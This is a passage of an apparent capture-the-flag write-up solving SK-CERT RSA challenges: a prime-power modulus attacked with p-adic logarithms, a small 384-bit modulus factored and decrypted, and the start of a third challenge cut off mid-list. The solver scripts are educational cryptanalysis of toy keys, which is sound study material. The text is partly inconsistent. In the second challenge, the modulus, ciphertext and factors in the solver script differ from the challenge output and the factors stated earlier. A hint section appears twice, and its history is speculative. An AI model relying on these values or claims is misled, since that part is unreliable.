0x25e9a2ec126c6f273c506992d2dc6a0937a86652e3a2abc54dbc6825b53c56deba5c58a9edb5d9220e4e160f65719669c01f4e00fc933ac08213f98d831a05713b76d022a8561183c7184eff917534dd489da913f8d3c6471589f1c7637f77a8324680db209b9d2e12d4a1406e6b792473c9d5f6e506b00c9712cba97770565b2b99ee7f777e43c48af18fa653f507192aa9d719b04f7a2cb6cd28499b5a47e11612342a6bbc1fa8159ef702588786bdc50592de6e8c398079a93353961759d7a9369c2899fcc0b1dd62aa0166f855da0089053d00090af9633eceba6d153111015caf8941ccbca34382bb87982fa7da197682e7a8af0d5b83f45c14725387b5e874bbdc0f0ad237e228b61eb1d4fb3e2cf7888a622b84de2739d080b9b96bc09ee6e2935bbd59da072ea34339ea0d950d3a8a54be274d043a919e6f3c02e2bc148dcb6f8392241e563f0e55a4e43e3c4482b8a1ef32fc01ceb80a20be7f3be8567789e9f287312613ddbf0c81a9a7ffe4b75097fc0e8e80d456d34aa30ab7a1dc991bf3bda9b43cefbdc3d8cd33a8450f6cb98a7f8f35fe813abef5f1d4340a90c1cfb88384f0c75c72d07ffdbfc47d1c2406bd218bf732f3245590d203bf9da736b233571dcec2d890d832ae480a0162a42db08fe740e0f3adbfb5abc984d0d75800e84bf00191e79026d7ec14746dbbbfd98ec485fc52a9b8f2428d782645e8238bd10c1cb8127f43552e339addd7ae4c1958f182af1443790d277883a96ec0d2591443dd9054af7c80ba4264e32dcd11fdcd92155df69d88bf54373c051a6f6fb653da297b70fd7c16b6ea0c09d2d19becd4cb71cda767119ded59ed96b9c2213343ac490f6a3283e0cde2cc226912cfbe1af735626197b36534e47b9e373543a0e74c387c228af40d9ab6c7323cb4177388dccdb14581f91d8b52998b5b661dbf63fe2850fd55441d2007430b8ae8c8e73a27fe363ea2fc892c3ed7fb0bb390dc7f1bc6d02edd3615fca0695bb02ef30e5d0a50a70d53260f002a39bce2b68d5739523b285c531a2972c11d5cba307a2620f865d113236b4156d120bd03335aa97a663f153766e8c7e6fbcd474174fac8d9bf3914fdb100fdb9313549f09b6e4b4a4a23a4a8c8ba42d243e4711a59d81bad33ed1fa8b6773ee1c8d6551f4de31e682a5b05dbc76cabf5df1b0a682146271dfea412961a0ddf5a9576a8de49a6578d06231189e4c833e0a9895806260afd2773571772ffdf3b29d4f250e01058ffafa1d23af53e816ae373f584de92f928454888f80bf271bbe1dc1732c601a13eb2b63b9e17107d20a8cbc9d9d60d3dadd0bedd216a63af7d62c16c8a75c1fc0f5ee2e3ce6814a8d53447b0d9af48010b8adb83211eedb5adbf73d4f55bb60dc44ff6fd7abf12153d3680a6021f58be727ef3294fdbdfb82614a44e55b1<br>e = 0x144d9213778fce40e84504f0456b77c60cd91ad22742a9610b1e26a83b0949d4b2c71296f6eac00b07066eda65319e494455705e0a866af2f5fc6b8cc48316e38b181e2efbee708f908f216a610d5333704e4615fb54dabd5c226954cced6522d0a97061f232c4323cfb139888915544973b2343229e01e98930f68fdb1074131f56650dec8b0833fc400a713c6d67921867a8dcb80d23fb2864d034100d613cec7952c87b1768583368b1204739235ca57b25c170078f057171349bbb22d2ad436eae30e6265572c06b39be37cabe1da246f9e00c016c59978b52c191f73ab4d5664da052ed99ab1c6e47088b001509401995b68a3b7964b62b6a3afa0e487efc26400c71bf016c4d6caa9a859d7a8f96272d622ecca49fe0fa5a2580128a42cc2acf33657d440d3646f82c6d8989b52c977cfd00d42358f6f54ac0d793d4c07317fd9526981a331b3c16fbdcc2cfbe37876e28edc7337e615784bbcc61f71bb69b5178c06942eebf118a8a6656a83daefc0e32b6205e62976bfcb93139b01ef3a39ccdeed94fbf444459bc9a934137e5b380ad5d653ebd130c9b1309e95f89e177328adc87f7b68f111ecf7a503a86ed7ac2b24abaf34befcd7595ade3c92c04dde443b9f6b553b3a7c2beae3540c15c03ae396e8b84fcd05bd211bc4b8c42c9d7cf3f4ffdfa239c2bf2433cdc6a01b25594d57f2cd2fe884226709cd0c4a2<br>c = 0x74d8dc2bb5fcdb60e0f55308d004e0261ed6e0488231312f97034e7b4efeaf29d05fd3014d1700cc668bbd05e3dffa8aee0cfb68977dfe3ffee8a934a8a7bd1dfa0d55c44fc10ad24ec7442f2db79294b3fcc36b8f454f23796176a15d3cd5f6e3f1aec91043985b9cfad3ad5d3b89f00f6904b0d017670e30e75c2c3f945b6845c14df4f29dab25a57fe7250cca970d61c348a8f6a4f13fde42a4d2342790b33b89e6288db9cfcdc7886390b65223fded5b9d4a4b04e8e923b7c91604d6d19113ee3f1693e852826c8570a0a96be7fa8f1fc53a03088747b3523e277c71d30536ed0ab4d6771fcd54e8274791882ad1825ab167cbd890ccd2947ccbc30fdc567f2192a5936efea596ac36f26dde60fa69686368c797ff8433053fc6127f0e06f70406eaa6e0c434d45737e7214b4953653895c4955b7b0d7155d8a5d4be728fe701664926b468e26262caa19a345b8e1f1640bc9631bd64860a334b15c5ee19e319a7aec8cb43d32166e003d426cb4855d7f81ed531b929cba7f29972366c5151d2da2bf45c2ba59c505926d8cec35e5f9b96822ff98e13195ceb12effe18b54d057f32161b9b04c0bd9ff0256da48b31c4a89c59dd776186989282376c29e6429a4aee9b586837231e7bdb693914ffa7e7b705779fc36c304d0847820563e786f33f41fd45cc9f80bfd571a5ea29dcd759e77b3f57af370e230486221a60551d31a3522df826ef59b944a092772c13cc2dbe1a9982a4515686d72dc0900a5cfe78a5bb081fd117841fbcae6a7bb111fc14df7dd04115f6779b02fe27862eb2895d0e2eb35684d17b00c63b99fcc47bc8629a76fef6caa3738e5d5173af9ca5ddb5d1f0667c02bf3aa5b899bac6b4a1d1012131a5a556ef4578f181f1d80291243cabdd56a64084a371e380b9004c6ba8dce88a0b17e462d8eb30c65511d925dc0c9d9fd95ea9eba39d5882d3335b982f8a25763bd0d7ee7137f609c83727532f6eaa9230766ec7c72cf319b4ec5430a8bf3e38e163c00410a5f9ae94944ea56b1fd3164f98639979974ffff119c0ebb4a37a6738c0fc0fae0dd5c6cb86f5309ffec86b11f31c0edfa88c3331f66b0ffd0c8fbece4309824f0b9a760da6ac35b561e1a31c1eb607b6a73a354bce4f35ebb79300fb849258381c9014232e0b65cd7cfe503a2696cf3926caf7691befe70bc2cdd9f28f4b9e12c6c799d0fb8100096f9e1b87ee06409f0ad8ee708758318aa426d1af2185e3b3e1a645a838b5e21a3233a0eb1e5bf9e0b6c627966041f35338c467d23ea618b3e678753dcd50b47b4cc7ac77508497b73206ddf538a10b44ab3c41d87029304e85777e349da0d3359e034ab3fea105048e24580540c8919a4fe7d01a876d1d9ee9548a4afb05472174ead37bb623e0b6fb7490fb20dce5898742daea9d8deea2c467f79c12a35</pre><p>hell-rsa.py:</p><pre>import secrets<br>from Crypto.Util.number import isPrime, bytes_to_long<br><br>HELL_VALUE = (().__class__.__mro__.index(object))<br><br>MESSAGE = (b&quot;&quot;) # u have to figure this on your own.<br>e = bytes_to_long(MESSAGE)<br><br>sins = 4096<br>first_devil = (lambda s: next(x for x in iter(lambda: secrets.randbits(s) | (HELL_VALUE &lt;&lt; (s - HELL_VALUE)) | HELL_VALUE, None) if isPrime(x)))(sins)<br>second_devil = max(3, (max(HELL_VALUE, e.bit_length()) + sins - HELL_VALUE) // sins + 2)<br><br>n = pow(first_devil, second_devil)<br><br>demon = secrets.randbelow(first_devil - HELL_VALUE + HELL_VALUE)<br>m = (HELL_VALUE + demon * first_devil) % n<br><br># RSA encryption<br>c = pow(m, e, n)<br><br># this is everything that Hell offers<br>print(&quot;n =&quot;, hex(n))<br>print(&quot;e =&quot;, hex(e))<br>print(&quot;c =&quot;, hex(c))</pre><p>After Analyzing these files we can conclude that The challenge provides an RSA-like encryption scheme where the modulus <em>$n$</em> is not a product of two distinct primes, but rather a power of a single large prime <em>$p$</em>. Specifically, <em>$n = p^k$</em>. The encryption involves a ciphertext <em>$c$</em>, a parameter <em>$e$</em>, and a value <em>$m$</em>.</p><h3><strong>Mathematical Analysis:</strong></h3><h4><strong>1. The Modulus:</strong></h4><p>In standard RSA, <em>$n = p \cdot q$</em>. Here, <em>$n = p^k$</em>. This makes the modulus extremely vulnerable if <em>$p$ </em>can be recovered. Since <em>$n = p^k$</em>, we can simply compute the<em> $k$</em>-th root of <em>$n$</em>:</p><pre>$$p = \sqrt[k]{n}$$</pre><p>Based on the bit length and the solver code, <em>$k=4$</em> in this instance.</p><h4><strong>2. The Subgroup Structure:</strong></h4><p>The challenge uses a specific form for the base and likely the exponent. Elements of the form<em> $x \equiv 1 \pmod p$ </em>in the multiplicative group $(\mathbb{Z}/p^k\mathbb{Z})^\times$ form a subgroup <em>$G$</em> of order <em>$p^{k-1}$</em>. In this subgroup, the Discrete Logarithm Problem (DLP) is easily solvable using <em>$p$-adic</em> logarithms.</p><h4><strong>3. P-Adic Logarithm:</strong></h4><p>We can define a $p$-adic logarithm $\log_p(x)$ that maps the multiplicative subgroup to an additive subgroup:<br>$$\log_p(1+t) = t — \frac{t²}{2} + \frac{t³}{3} — \dots \pmod{p^k}$$<br>This series converges for $t \in p\mathbb{Z}$.</p><p>The fundamental property used is:</p><pre>$$\log_p(x^y) \equiv y \cdot \log_p(x) \pmod{p^k}$$</pre><p><strong>4. Solving for the Flag:</strong></p><p>Assuming the encryption follows the form $c = e^{\text{flag}} \pmod n$ (where $e$ and $c$ are in the $1+p\mathbb{Z}$ subgroup), we take the $p$-adic log of both sides:</p><pre>$$\log_p(c) \equiv \text{flag} \cdot \log_p(e) \pmod{p^k}$$</pre><p>Since $\log_p(x)$ is always a multiple of $p$, we divide by $p$ to work in the ring $\mathbb{Z}/p^{k-1}\mathbb{Z}$:</p><pre>$$\frac{\log_p(c)}{p} \equiv \text{flag} \cdot \frac{\log_p(e)}{p} \pmod{p^{k-1}}$$</pre><p>Solving for the flag:</p><pre>$$\text{flag} \equiv \frac{\log_p(c) / p}{\log_p(e) / p} \pmod{p^{k-1}}$$</pre><h3><strong>Implementation:</strong></h3><p>So we need to make a solver that will:</p><p>1. Calculates $p = \text{iroot}(n, 4)$.</p><p>2. Computes $L_e = \log_p(e)$ and $L_c = \log_p(c)$ using the power series.</p><p>3. Calculates the flag as $(L_c / p) \cdot (L_e / p)^{-1} \pmod{p³}$.</p><p>4. Converts the resulting long integer back to bytes.</p><h4>Solve.py:</h4><pre>#!/usr/bin/env python3<br><br>from Crypto.Util.number import long_to_bytes<br>from math import isqrt<br><br># =========================<br># challenge values<br># =========================<br><br>n = 0x25e9a2ec126c6f273c506992d2dc6a0937a86652e3a2abc54dbc6825b53c56deba5c58a9edb5d9220e4e160f65719669c01f4e00fc933ac08213f98d831a05713b76d022a8561183c7184eff917534dd489da913f8d3c6471589f1c7637f77a8324680db209b9d2e12d4a1406e6b792473c9d5f6e506b00c9712cba97770565b2b99ee7f777e43c48af18fa653f507192aa9d719b04f7a2cb6cd28499b5a47e11612342a6bbc1fa8159ef702588786bdc50592de6e8c398079a93353961759d7a9369c2899fcc0b1dd62aa0166f855da0089053d00090af9633eceba6d153111015caf8941ccbca34382bb87982fa7da197682e7a8af0d5b83f45c14725387b5e874bbdc0f0ad237e228b61eb1d4fb3e2cf7888a622b84de2739d080b9b96bc09ee6e2935bbd59da072ea34339ea0d950d3a8a54be274d043a919e6f3c02e2bc148dcb6f8392241e563f0e55a4e43e3c4482b8a1ef32fc01ceb80a20be7f3be8567789e9f287312613ddbf0c81a9a7ffe4b75097fc0e8e80d456d34aa30ab7a1dc991bf3bda9b43cefbdc3d8cd33a8450f6cb98a7f8f35fe813abef5f1d4340a90c1cfb88384f0c75c72d07ffdbfc47d1c2406bd218bf732f3245590d203bf9da736b233571dcec2d890d832ae480a0162a42db08fe740e0f3adbfb5abc984d0d75800e84bf00191e79026d7ec14746dbbbfd98ec485fc52a9b8f2428d782645e8238bd10c1cb8127f43552e339addd7ae4c1958f182af1443790d277883a96ec0d2591443dd9054af7c80ba4264e32dcd11fdcd92155df69d88bf54373c051a6f6fb653da297b70fd7c16b6ea0c09d2d19becd4cb71cda767119ded59ed96b9c2213343ac490f6a3283e0cde2cc226912cfbe1af735626197b36534e47b9e373543a0e74c387c228af40d9ab6c7323cb4177388dccdb14581f91d8b52998b5b661dbf63fe2850fd55441d2007430b8ae8c8e73a27fe363ea2fc892c3ed7fb0bb390dc7f1bc6d02edd3615fca0695bb02ef30e5d0a50a70d53260f002a39bce2b68d5739523b285c531a2972c11d5cba307a2620f865d113236b4156d120bd03335aa97a663f153766e8c7e6fbcd474174fac8d9bf3914fdb100fdb9313549f09b6e4b4a4a23a4a8c8ba42d243e4711a59d81bad33ed1fa8b6773ee1c8d6551f4de31e682a5b05dbc76cabf5df1b0a682146271dfea412961a0ddf5a9576a8de49a6578d06231189e4c833e0a9895806260afd2773571772ffdf3b29d4f250e01058ffafa1d23af53e816ae373f584de92f928454888f80bf271bbe1dc1732c601a13eb2b63b9e17107d20a8cbc9d9d60d3dadd0bedd216a63af7d62c16c8a75c1fc0f5ee2e3ce6814a8d53447b0d9af48010b8adb83211eedb5adbf73d4f55bb60dc44ff6fd7abf12153d3680a6021f58be727ef3294fdbdfb82614a44e55b1<br><br>e = 0x144d9213778fce40e84504f0456b77c60cd91ad22742a9610b1e26a83b0949d4b2c71296f6eac00b07066eda65319e494455705e0a866af2f5fc6b8cc48316e38b181e2efbee708f908f216a610d5333704e4615fb54dabd5c226954cced6522d0a97061f232c4323cfb139888915544973b2343229e01e98930f68fdb1074131f56650dec8b0833fc400a713c6d67921867a8dcb80d23fb2864d034100d613cec7952c87b1768583368b1204739235ca57b25c170078f057171349bbb22d2ad436eae30e6265572c06b39be37cabe1da246f9e00c016c59978b52c191f73ab4d5664da052ed99ab1c6e47088b001509401995b68a3b7964b62b6a3afa0e487efc26400c71bf016c4d6caa9a859d7a8f96272d622ecca49fe0fa5a2580128a42cc2acf33657d440d3646f82c6d8989b52c977cfd00d42358f6f54ac0d793d4c07317fd9526981a331b3c16fbdcc2cfbe37876e28edc7337e615784bbcc61f71bb69b5178c06942eebf118a8a6656a83daefc0e32b6205e62976bfcb93139b01ef3a39ccdeed94fbf444459bc9a934137e5b380ad5d653ebd130c9b1309e95f89e177328adc87f7b68f111ecf7a503a86ed7ac2b24abaf34befcd7595ade3c92c04dde443b9f6b553b3a7c2beae3540c15c03ae396e8b84fcd05bd211bc4b8c42c9d7cf3f4ffdfa239c2bf2433cdc6a01b25594d57f2cd2fe884226709cd0c4a2<br><br>c = 0x74d8dc2bb5fcdb60e0f55308d004e0261ed6e0488231312f97034e7b4efeaf29d05fd3014d1700cc668bbd05e3dffa8aee0cfb68977dfe3ffee8a934a8a7bd1dfa0d55c44fc10ad24ec7442f2db79294b3fcc36b8f454f23796176a15d3cd5f6e3f1aec91043985b9cfad3ad5d3b89f00f6904b0d017670e30e75c2c3f945b6845c14df4f29dab25a57fe7250cca970d61c348a8f6a4f13fde42a4d2342790b33b89e6288db9cfcdc7886390b65223fded5b9d4a4b04e8e923b7c91604d6d19113ee3f1693e852826c8570a0a96be7fa8f1fc53a03088747b3523e277c71d30536ed0ab4d6771fcd54e8274791882ad1825ab167cbd890ccd2947ccbc30fdc567f2192a5936efea596ac36f26dde60fa69686368c797ff8433053fc6127f0e06f70406eaa6e0c434d45737e7214b4953653895c4955b7b0d7155d8a5d4be728fe701664926b468e26262caa19a345b8e1f1640bc9631bd64860a334b15c5ee19e319a7aec8cb43d32166e003d426cb4855d7f81ed531b929cba7f29972366c5151d2da2bf45c2ba59c505926d8cec35e5f9b96822ff98e13195ceb12effe18b54d057f32161b9b04c0bd9ff0256da48b31c4a89c59dd776186989282376c29e6429a4aee9b586837231e7bdb693914ffa7e7b705779fc36c304d0847820563e786f33f41fd45cc9f80bfd571a5ea29dcd759e77b3f57af370e230486221a60551d31a3522df826ef59b944a092772c13cc2dbe1a9982a4515686d72dc0900a5cfe78a5bb081fd117841fbcae6a7bb111fc14df7dd04115f6779b02fe27862eb2895d0e2eb35684d17b00c63b99fcc47bc8629a76fef6caa3738e5d5173af9ca5ddb5d1f0667c02bf3aa5b899bac6b4a1d1012131a5a556ef4578f181f1d80291243cabdd56a64084a371e380b9004c6ba8dce88a0b17e462d8eb30c65511d925dc0c9d9fd95ea9eba39d5882d3335b982f8a25763bd0d7ee7137f609c83727532f6eaa9230766ec7c72cf319b4ec5430a8bf3e38e163c00410a5f9ae94944ea56b1fd3164f98639979974ffff119c0ebb4a37a6738c0fc0fae0dd5c6cb86f5309ffec86b11f31c0edfa88c3331f66b0ffd0c8fbece4309824f0b9a760da6ac35b561e1a31c1eb607b6a73a354bce4f35ebb79300fb849258381c9014232e0b65cd7cfe503a2696cf3926caf7691befe70bc2cdd9f28f4b9e12c6c799d0fb8100096f9e1b87ee06409f0ad8ee708758318aa426d1af2185e3b3e1a645a838b5e21a3233a0eb1e5bf9e0b6c627966041f35338c467d23ea618b3e678753dcd50b47b4cc7ac77508497b73206ddf538a10b44ab3c41d87029304e85777e349da0d3359e034ab3fea105048e24580540c8919a4fe7d01a876d1d9ee9548a4afb05472174ead37bb623e0b6fb7490fb20dce5898742daea9d8deea2c467f79c12a35<br><br><br># =========================<br># helpers<br># =========================<br><br>def iroot4(x):<br>    &quot;&quot;&quot;<br>    integer fourth root<br>    &quot;&quot;&quot;<br>    r = isqrt(isqrt(x))<br>    while (r + 1) ** 4 &lt;= x:<br>        r += 1<br>    while r ** 4 &gt; x:<br>        r -= 1<br>    return r<br><br><br>def padic_log(x, p, mod):<br>    &quot;&quot;&quot;<br>    log(1+t) = t - t^2/2 + t^3/3 mod p^4<br>    &quot;&quot;&quot;<br><br>    t = (x - 1) % mod<br><br>    term1 = t<br>    term2 = (-pow(t, 2, mod) * pow(2, -1, mod)) % mod<br>    term3 = (pow(t, 3, mod) * pow(3, -1, mod)) % mod<br><br>    return (term1 + term2 + term3) % mod<br><br><br># =========================<br># recover p<br># =========================<br><br>p = iroot4(n)<br><br>assert pow(p, 4) == n<br><br>print(f&quot;[+] recovered p ({p.bit_length()} bits)&quot;)<br><br>MOD = pow(p, 4)<br><br># =========================<br># compute p-adic logs<br># =========================<br><br>Lm = padic_log(e, p, MOD)<br>Lc = padic_log(c, p, MOD)<br><br># valuation 1 =&gt; divide by p<br>Lm //= p<br>Lc //= p<br><br># work modulo p^3<br>ring = pow(p, 3)<br><br>flag_num = (Lc * pow(Lm, -1, ring)) % ring<br><br>flag = long_to_bytes(flag_num)<br><br>print(&quot;[+] flag:&quot;)<br>print(flag)</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*u6V6IGTgSunYsZBZ3d1Q9A.png" /><figcaption>Solver output</figcaption></figure><pre>[+] recovered p (2048 bits)<br>[+] flag:<br>b&quot;Hello kid, i hope u enjoyed this task and learnt something new (hopefully) without using chatGPT.This topic is connected to mathematics rather than cryptography.As many people before me have said : &#39;Math is gate to Cryptography.&#39;.Everyone has their quotes and i would also like oneso here it is : &#39;SK-CERT{p-4d1c_l0g4r17hm5_rul3_t0d4y_1n_5ubgr0up5}&#39;&quot;</pre><p>Final Flag:</p><pre>SK-CERT{p-4d1c_l0g4r17hm5_rul3_t0d4y_1n_5ubgr0up5}</pre><h3>6: RSA — French technology:</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/614/1*4-igA_ypg5ROAJBpVmHIMw.png" /><figcaption>Chall Desc</figcaption></figure><p>We are provided with 2 challenge files :</p><p>main.py:</p><pre>from Crypto.Util.number import bytes_to_long, getPrime<br><br>flag = &quot;&quot;<br>m = bytes_to_long(flag.encode())<br>p = getPrime(192)<br>q = getPrime(192)<br>n = p*q<br>e = 65537<br>c = pow(m,e,n)<br>print(&quot;c: &quot;, c)<br>print(&quot;n: &quot;, n)<br>print(&quot;e: &quot;, e)</pre><p>out.txt:</p><pre>c:  5740196029944570285461595789387642615026206835758048500685342416498085007060475130355254601538690350792607830802905<br>n:  17898028240830814136434787407852442663239728391134776310533753763258523791465145947321086853292608375964370070398263<br>e:  65537</pre><p>The challenge presents a standard RSA encryption scenario where a secret message (the flag) has been encrypted using a 384-bit RSA key. The task is to recover the plaintext flag given the public parameters and the ciphertext.</p><h3><strong>Technical Analysis:</strong></h3><h4><strong>RSA Parameters:</strong></h4><p>The main.py script reveals the following cryptographic setup:</p><ul><li><strong>Primes $p, q$</strong>: 192-bit primes generated via `getPrime(192)`.</li><li><strong>Modulus $N$</strong>: $N = p \times q$. The bit-length of $N$ is approximately $192 + 192 = 384$ bits.</li><li><strong>Public Exponent $e$</strong>: 65537 (a standard Fermat prime $F_4$).</li><li><strong>Ciphertext $C$</strong>: Derived from $C = M^e \pmod N$.</li></ul><h4><strong>The “French Technology” Hint:</strong></h4><p>The title likely refers to the historical use of weakened encryption standards in France during the late 20th century. Notably:</p><p>1. <strong>Minitel</strong>: The French videotex service which preceded the World Wide Web, used relatively weak cryptography for its time.</p><p>2. <strong>French Smart Cards (Carte Bleue)</strong>: Early implementations of chip-and-pin cards in France used 320-bit and later 480-bit RSA keys, which were eventually demonstrated to be factorable by academic researchers in the late 90s.</p><p>3. <strong>Export-Grade Restrictions</strong>: Historically, French law (like US law) restricted the “strength” of cryptography that could be used without government registration, often leading to implementations using keys between 384 and 512 bits.</p><h4><strong>The French Technology Hint:</strong></h4><p>The title likely refers to the historical use of weakened encryption standards in France during the late 20th century. Notably:</p><ol><li><strong>Minitel</strong>: The French videotex service which preceded the World Wide Web, used relatively weak cryptography for its time.</li></ol><p>2. <strong>French Smart Cards (Carte Bleue)</strong>: Early implementations of chip-and-pin cards in France used 320-bit and later 480-bit RSA keys, which were eventually demonstrated to be factorable by academic researchers in the late 90s.</p><p>3. <strong>Export-Grade Restrictions</strong>: Historically, French law (like US law) restricted the “strength” of cryptography that could be used without government registration, often leading to implementations using keys between 384 and 512 bits.</p><h4><strong>Vulnerability: Small Modulus Size:</strong></h4><p>The security of RSA is fundamentally tied to the integer factorization problem. Modern requirements mandate at least 2048-bit keys ($N$) to be considered secure.</p><ul><li>A <strong>384-bit modulus</strong> ($N$) corresponds to roughly <strong>115 decimal digits</strong>.</li><li>Using the <strong>Pollard’s Rho </strong>algorithm or the <strong>Quadratic Sieve</strong>, an integer of this size can be factored on a modern laptop in a matter of seconds to minutes.</li><li>Public databases like <strong>FactorDB</strong> often contain factorizations for such small numbers if they have been seen in previous challenges.</li></ul><h4><strong>Exploitation Process:</strong></h4><p><strong>1. Factorization:<br></strong>We start by factoring the modulus $N$ from `out.txt`:</p><pre>$N = 17898028240830814136434787407852442663239728391134776310533753763258523791465145947321086853292608375964370070398263$</pre><h4>Factorization gives us:</h4><pre> $p = 4583465371449881554218276414536651001428611008763298662569$<br> $q = 3904910243403213054362137400778935070875325732455222912693$</pre><h4><strong>2. Calculating the Private Key:</strong></h4><p>With <em>$p$</em> and <em>$q$ </em>known, we compute the totient <em>$\phi(N)$</em>:</p><pre>$$\phi(N) = (p-1)(q-1)$$</pre><p>The private exponent $d$ is the modular multiplicative inverse of <em>$e$</em> modulo <em>$\phi(N)$:</em></p><pre>$$d \equiv e^{-1} \pmod{\phi(N)}$$</pre><h4><strong>3. Decryption:</strong></h4><p>The message $M$ is recovered using:</p><pre>$$M \equiv C^d \pmod N$$</pre><p>Converting the integer $M$ back to bytes yields the flag.</p><h3><strong>Solver Script:</strong></h3><p>The following Python script automates the decryption once the factors are found:</p><pre>from Crypto.Util.number import long_to_bytes<br><br>c = 7554345563377572182731073741011566377767028612880982916734925507113027462906562850780097670928001696578240732694735<br>n = 23097062396373355580999872023435859713434034974786858169124731097514942061531694869620030818892344690481331554088317<br>e = 65537<br><br>p = 5833465371449881554218276414536651001428611008763298662569<br>q = 3959406789215701594482837400778935070875325732455222912693<br><br># Verify<br>print(f&#39;p * q == n: {p * q == n}&#39;)<br>print(f&#39;p is {p.bit_length()} bits&#39;)<br>print(f&#39;q is {q.bit_length()} bits&#39;)<br><br>if p * q == n:<br>    phi = (p - 1) * (q - 1)<br>    d = pow(e, -1, phi)<br>    m = pow(c, d, n)<br>    flag = long_to_bytes(m)<br>    print(f&#39;Decrypted: {flag}&#39;)<br>else:<br>    print(&#39;FACTORS DO NOT MATCH - wrong p,q&#39;)<br>    print(f&#39;p*q = {p*q}&#39;)<br>    print(f&#39;n   = {n}&#39;)</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2KLckOOx3A9bKSR_QK_DAg.png" /><figcaption>Output</figcaption></figure><h3>Final Flag:</h3><pre>SK-CERT{5m4ll_53m1_pr1m35_4r3_34sy_70_f4c70r_67}</pre><h3>7: RSA — Prime Classes:</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/621/1*5gIspR1PKoIDEFmouXoNpg.png" /><figcaption>Chall Desc</figcaption></figure><p>The challenge provides 2 files:</p><p>main.py(The encryption script):</p><pre>from Crypto.Util.number import bytes_to_long,getPrime<br><br>def main():<br>    flag = &quot;SK-CERT{****}&quot;<br>    m = bytes_to_long(flag.encode())<br>    isNiceNumber(m)<br>    e = 3<br>    p = getPrime(502)<br>    q = getPrime(502)<br>    n = p * q<br>    c = pow(m,e,n)<br>    print(&quot;c: &quot;, c)<br>    print(&quot;n: &quot;, n)<br>    print(&quot;e: &quot;, e)<br><br>#I like when my numbers have a factor in each class, and also a large hidden extra factor<br>def isNiceNumber(x):<br>    global smallClass, middleClass, bigClass<br>    smallClassRepresented = False<br>    middleClassRepresented = False<br>    bigClassRepresented = False<br><br>    for number in smallClass:<br>        if x % number == 0:<br>            smallClassRepresented = True<br>    <br>    for number in middleClass:<br>        if x % number == 0:<br>            middleClassRepresented = True<br><br>    for number in bigClass:<br>        if x % number == 0:<br>            bigClassRepresented = True<br><br>    assert(smallClassRepresented and middleClassRepresented and bigClassRepresented)<br><br>smallClass = [509,<br> 503,<br> 499,<br> 491,<br> 491,<br> 487,<br> 487,<br> 479,<br> 457,<br> 457,<br> 439,<br> 439,<br> 433,<br> 431,<br> 421,<br> 421,<br> 419,<br> 409,<br> 401,<br> 401,<br> 397,<br> 397,<br> 389,<br> 383,<br> 379,<br> 373,<br> 373,<br> 373,<br> 359,<br> 359,<br> 353,<br> 353,<br> 337,<br> 337,<br> 337,<br> 317,<br> 313,<br> 311,<br> 293,<br> 283,<br> 283,<br> 281,<br> 277,<br> 277,<br> 277,<br> 271,<br> 271,<br> 263,<br> 257,<br> 257,<br> 251,<br> 241,<br> 241,<br> 227,<br> 197,<br> 197,<br> 197,<br> 191,<br> 181,<br> 181,<br> 167,<br> 167,<br> 163,<br> 163,<br> 163,<br> 157,<br> 151,<br> 149,<br> 139,<br> 139,<br> 137,<br> 131,<br> 131,<br> 113,<br> 113,<br> 107,<br> 103,<br> 97,<br> 89,<br> 71,<br> 67,<br> 67,<br> 67,<br> 59,<br> 59,<br> 53,<br> 53,<br> 43,<br> 41,<br> 37,<br> 19,<br> 19,<br> 17,<br> 17,<br> 13,<br> 11,<br> 5,<br> 5,<br> 3,<br> 2]<br><br>middleClass = [8161,<br> 8039,<br> 7937,<br> 7699,<br> 7639,<br> 7589,<br> 7517,<br> 7333,<br> 7331,<br> 7331,<br> 7229,<br> 7013,<br> 6841,<br> 6719,<br> 6659,<br> 6577,<br> 6571,<br> 6481,<br> 6469,<br> 6343,<br> 6299,<br> 6263,<br> 6229,<br> 6197,<br> 6007,<br> 5857,<br> 5851,<br> 5639,<br> 5591,<br> 5501,<br> 5347,<br> 5309,<br> 5297,<br> 5167,<br> 4993,<br> 4987,<br> 4909,<br> 4903,<br> 4903,<br> 4787,<br> 4657,<br> 4637,<br> 4597,<br> 4463,<br> 4447,<br> 4363,<br> 4363,<br> 4231,<br> 4129,<br> 4099,<br> 4073,<br> 3881,<br> 3847,<br> 3767,<br> 3643,<br> 3613,<br> 3539,<br> 3527,<br> 3491,<br> 3323,<br> 3257,<br> 3191,<br> 3169,<br> 3037,<br> 2837,<br> 2803,<br> 2731,<br> 2719,<br> 2693,<br> 2557,<br> 2549,<br> 2389,<br> 2357,<br> 2011,<br> 1847,<br> 1789,<br> 1667,<br> 1619,<br> 1303,<br> 1129,<br> 1049,<br> 1039,<br> 1021,<br> 823,<br> 761,<br> 757,<br> 751,<br> 743,<br> 701,<br> 653,<br> 653,<br> 593,<br> 277,<br> 191,<br> 139,<br> 37,<br> 31,<br> 23,<br> 23,<br> 11]<br><br>bigClass = [33714707561,<br> 33475189963,<br> 33180798359,<br> 32968219657,<br> 32753993861,<br> 32601998993,<br> 32354000431,<br> 31622210959,<br> 31463103443,<br> 31106171297,<br> 31026644791,<br> 30864000457,<br> 30555832451,<br> 30007127383,<br> 29679425119,<br> 29092782221,<br> 28965030907,<br> 28962105283,<br> 28788132787,<br> 28512646711,<br> 28435367731,<br> 28366379219,<br> 28323441217,<br> 28021435769,<br> 27943699733,<br> 26635017737,<br> 26567935297,<br> 26303239091,<br> 25608036371,<br> 25576881097,<br> 25395389471,<br> 25205052833,<br> 24596525977,<br> 24335124727,<br> 24229533397,<br> 24190929817,<br> 23954685889,<br> 23775654349,<br> 23675939747,<br> 23598824653,<br> 23309496157,<br> 22135955827,<br> 21806963513,<br> 21700899733,<br> 21143839061,<br> 20917551449,<br> 20816352043,<br> 20261287681,<br> 20012201381,<br> 19915512101,<br> 19661235553,<br> 19585405291,<br> 19129191649,<br> 18809753401,<br> 18624918629,<br> 18158829257,<br> 18121590569,<br> 17572665139,<br> 16580964929,<br> 16057692181,<br> 15575058607,<br> 15272351359,<br> 14981230513,<br> 14043779501,<br> 13980148361,<br> 12851947057,<br> 12851592671,<br> 12562954097,<br> 12175890931,<br> 11505311681,<br> 11145919879,<br> 11069320079,<br> 10463008123,<br> 10215147653,<br> 9627859369,<br> 9624045577,<br> 9331874807,<br> 9226461847,<br> 8995683889,<br> 8703841693,<br> 7452307061,<br> 7307945837,<br> 